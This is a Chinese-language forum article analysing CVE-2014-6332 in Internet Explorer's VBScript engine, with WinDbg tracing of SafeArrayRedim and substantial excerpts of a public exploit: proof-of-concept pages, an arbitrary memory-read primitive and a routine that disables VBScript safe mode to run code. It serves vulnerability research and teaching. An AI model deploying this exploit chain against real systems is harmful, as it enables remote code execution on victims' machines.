-
-
[原创]Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
-
发表于: 2021-3-8 19:16 959
-
Internet Explorer漏洞分析(三)[下]——CVE-2014-6332
1 2 3 4 5 | 1. 本文一共 2158 个字 39 张图 预计阅读时间 14 分钟 2. 本文作者erfze 属于Gcow安全团队复眼小组 未经过许可禁止转载 3. 本篇文章是CVE - 2014 - 6332 漏洞的分析入手 详细的阐述漏洞的成因以及如何去利用该漏洞 4. 本篇文章十分适合漏洞安全研究人员进行交流学习 5. 若文章中存在说得不清楚或者错误的地方 欢迎师傅到公众号后台留言中指出 感激不尽 |
0x01 漏洞信息
0x01.1 漏洞简述
- 编号:CVE-2014-6332
- 漏洞影响:远程代码执行(RCE)
- CVSS 2.0:9.3
oleaut32.dll
中SafeArrayRedim
在进行数组重新定义时未对传入参数psaboundNew
进行有效校验,以致可以越界读写,进而造成任意代码执行。
0x01.2 漏洞影响
Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, Windows RT Gold and 8.1
0x01.3 修复方案
[MS14-064]https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-064
0x02 漏洞分析
0x02.1 分析环境
- OS版本:Windows 7 Service Pack 1
- Internet Explorer版本:8.0.7601.17514
- oleaut32.dll版本:6.1.7601.17514
- vbscript.dll版本:5.8.7601.17514
0x02.2 前置知识
请移步Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探。
0x02.3 详细分析
分析所用POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | <!doctype html> <html lang = "en" > <head> < / head> <body> <script LANGUAGE = "VBScript" > On Error Resume Next Dim arrayA() Dim size Dim over size = &h5 over = &h8000000 + size Redim Preserve arrayA(size) Redim Preserve arrayA(over) arrayA(size + 1 ) = "Hello" < / script> < / body> < / html> |
打开该POC,使用WinDbg附加调试,于vbscript!RedimPreserveArray
函数处设断,允许阻止的内容:
执行到call oleaut32.dll!SafeArrayRedim
处,跟进分析:
首先是判断传入参数psa
与psaboundNew
均不为空:
之后对psa.fFeatures
,psa.cDims
及psa.cLocks
进行判断:
call SafeArraySize
计算数组元素占用空间大小:
将psaboundNew
写入psa.rgsabound
中:
调整后数组:
计算调整后数组元素占用空间大小,减去原来数组元素占用空间大小:
由于此时ebx=80000000
,故执行结果为负数指令分支 :
ole32!CRetailMalloc_Alloc
函数用于为HeapAlloc
传递参数并调用之:
由于申请空间远远超过可分配空间大小,故分配失败,直接跳转到函数末返回错误值:
由此,便可实现任意地址读写。
下面来看看正常执行流程,修改POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | <!doctype html> <html lang = "en" > <head> < / head> <body> <script LANGUAGE = "VBScript" > On Error Resume Next Dim arrayA() Dim size Dim over size = &h6 resize = &h4 Redim Preserve arrayA(size) arrayA( 0 ) = "Jane" arrayA( 5 ) = "Alan" Redim Preserve arrayA(resize) IsEmpty(arrayA) < / script> < / body> < / html> |
调整后数组元素占用空间大小-原来数组元素占用空间大小=0x50
-0x70
=ffffffe0
:
对其取相反数后申请如此大小空间:
之后将数组多余元素即arrayA(5)—arrayA(6)
复制到此空间内:
call ole32!CRetailMalloc_Realloc
重新分配堆块:
总结:
SafeArrayRedim
函数在未重新分配空间之前便将psaboundNew
写入psa.rgsabound
,用以传递给SafeArraySize
函数计算调整数组元素大小sub ebx, [ebp+Size]
及test ebx, ebx
两条指令用于判断调整数组元素大小—原数组元素大小与零的关系,小于零/大于等于零进入不同分支处理neg [ebp+psaboundNew]
对调整数组元素大小与原数组元素大小差值取相反数,将其传递给HeapAlloc
函数分配相应大小堆块
POC中&h8000000
(该值经过SafeArraySize
函数计算后为0x80000000)正是利用以上三点,实现任意地址读写——test ebx, ebx
与jge
组合进行有符号数比较,neg
对其取反仍为0x80000000。
0x02.4 利用分析
Exp来自[yuange]https://www.exploit-db.com/exploits/35229。
第一部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | function BeginInit() Randomize() redim aa( 5 ) redim ab( 5 ) a0 = 13 + 17 * rnd( 6 ) a3 = 7 + 3 * rnd( 5 ) end function function Create() On Error Resume Next dim i Create = False For i = 0 To 400 If Over() = True Then ' document.write(i) Create = True Exit For End If Next end function ...... function Over() On Error Resume Next dim type1,type2,type3 Over = False a0 = a0 + a3 a1 = a0 + 2 a2 = a0 + &h8000000 redim Preserve aa(a0) redim ab(a0) redim Preserve aa(a2) type1 = 1 ab( 0 ) = 1.123456789012345678901234567890 aa(a0) = 10 If(IsObject(aa(a1 - 1 )) = False ) Then if (intVersion< 4 ) then mem = cint(a0 + 1 ) * 16 j = vartype(aa(a1 - 1 )) if ((j = mem + 4 ) or (j * 8 = mem + 8 )) then if (vartype(aa(a1 - 1 ))<> 0 ) Then If(IsObject(aa(a1)) = False ) Then type1 = VarType(aa(a1)) end if end if else redim Preserve aa(a0) exit function end if else if (vartype(aa(a1 - 1 ))<> 0 ) Then If(IsObject(aa(a1)) = False ) Then type1 = VarType(aa(a1)) end if end if end if end if ' 0x6f66 & 0xFFFFBFFF = 0x2f66 If(type1 = &h2f66) then Over = True End If If(type1 = &hB9AD) Then Over = True win9x = 1 End If redim Preserve aa(a0) end function |
通过循环不断重新定义数组,扩大数组规模,直至数组aa
与ab
于内存中相邻(准确 来说,二者相差8字节):
ab(0)=1.123456789012345678901234567890
,该值转换IEEE浮点数可通过[IEEE 754 Calculator]http://weitz.de/ieee/ 计算:
如此一来,可通过aa
数组访问ab
数组元素(由ab
起始位置偏移8字节)。type1=&h2f66
判断是由于GetVarType
函数返回前会将vt
与0xFFFFBFFF
作与运算:
第二部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | myarray = chrw( 01 )&chrw( 2176 )&chrw( 01 )&chrw( 00 )&chrw( 00 )&chrw( 00 )&chrw( 00 )&chrw( 00 ) myarray = myarray&chrw( 00 )&chrw( 32767 )&chrw( 00 )&chrw( 0 ) ....... sub testaa() end sub function mydata() On Error Resume Next i = testaa i = null redim Preserve aa(a2) ab( 0 ) = 0 aa(a1) = i ab( 0 ) = 6.36598737437801E - 314 aa(a1 + 2 ) = myarray ab( 2 ) = 1.74088534731324E - 310 mydata = aa(a1) redim Preserve aa(a0) end function |
先来看i=testaa
操作——将函数赋值给变量。简化版如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | <!doctype html> <html lang = "en" > <head> < / head> <body> <script LANGUAGE = "VBScript" > On Error Resume Next sub testaa() end sub IsEmpty( "Test" ) i = testaa i = null < / script> < / body> < / html> |
于vbscript!VbsIsEmpty
断下:
通过ba w 2 1dc9e68
与ba w 4 1dc9e68+8
两条指令对栈顶设断,第二次断下时,修改vt
为0x4C
:
第三次断下:
第四次断下,更改vt
为0x01
(VT_NULL = 0x0001
):
但其仍存储的是vbscript!CScriptEntryPoint
对象,其后赋值给i
。On Error Resume Next
在此处尤为重要,是否加入该语句执行情况对比:
未加入On Error Resume Next
语句最终会调用CSession::ReportError
:
而不会执行后续i = null
语句,感兴趣的读者可自行探索CScriptRuntime::RunNoEH
函数,不在这里过多展开(该函数功能复杂,笔者仅是简单跟踪是否加入On Error Resume Next
语句的执行流):
开启任意读写后执行aa(a1)=i
:
ab(0)=6.36598737437801E-314
:
aa(a1+2)=myarray
:
ab(2)=1.74088534731324E-310
:
关于此处的调试可于vbscript!VbsIsEmpty
函数设断,配合如下修改:
1 2 3 4 5 6 7 8 9 10 11 12 | 'isempty(ab) ab( 0 ) = 0 aa(a1) = i 'isempty( "1" ) ab( 0 ) = 6.36598737437801E - 314 'isempty( "2" ) aa(a1 + 2 ) = myarray 'isempty( "3" ) ab( 2 ) = 1.74088534731324E - 310 'isempty( "4" ) |
第一次断下后,可获得数组元素存储位置:
mydata=aa(a1)
:
第三部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 | function ReadMemo(add) On Error Resume Next redim Preserve aa(a2) ab( 0 ) = 0 aa(a1) = add + 4 ab( 0 ) = 1.69759663316747E - 313 ReadMemo = lenb(aa(a1)) ab( 0 ) = 0 redim Preserve aa(a0) end function |
该函数功能用于读取参数add
指向内存,关键函数是cbLengthBstr
(具体请参考Internet Explorer漏洞分析(三)[上]——VBScript Scripting Engine初探中的0x05 LenB函数一节)。ab(0)=1.69759663316747E-313
:
完成读取:
第四部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | function setnotsafemode() On Error Resume Next i = mydata() i = readmemo(i + 8 ) i = readmemo(i + 16 ) j = readmemo(i + &h134) for k = 0 to &h60 step 4 j = readmemo(i + &h120 + k) if (j = 14 ) then j = 0 redim Preserve aa(a2) aa(a1 + 2 )(i + &h11c + k) = ab( 4 ) redim Preserve aa(a0) j = 0 j = readmemo(i + &h120 + k) Exit for end if next ab( 2 ) = 1.69759663316747E - 313 runmumaa() end function |
第一次读取结果见上文图片,i=readmemo(i+16)
第二次读取:
该地址为vbscript!COleScript
对象:
通过循环于该对象偏移0x120
之后搜寻0x0E
,该值用于检查是否处于SafeMode:
aa(a1+2)
存储的是之前构造数组对象——myarray
:
myarray
起始地址为0,rgsabound.cElements
为0x7fff0000
,故可读写vbscript!COleScript+0x170
处内容:
修改完成,进入GodMode,成功弹出notepad.exe。
0x03 参阅链接
[Microsoft Docs——SAFEARRAY]https://docs.microsoft.com/en-us/windows/win32/api/oaidl/ns-oaidl-safearray
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!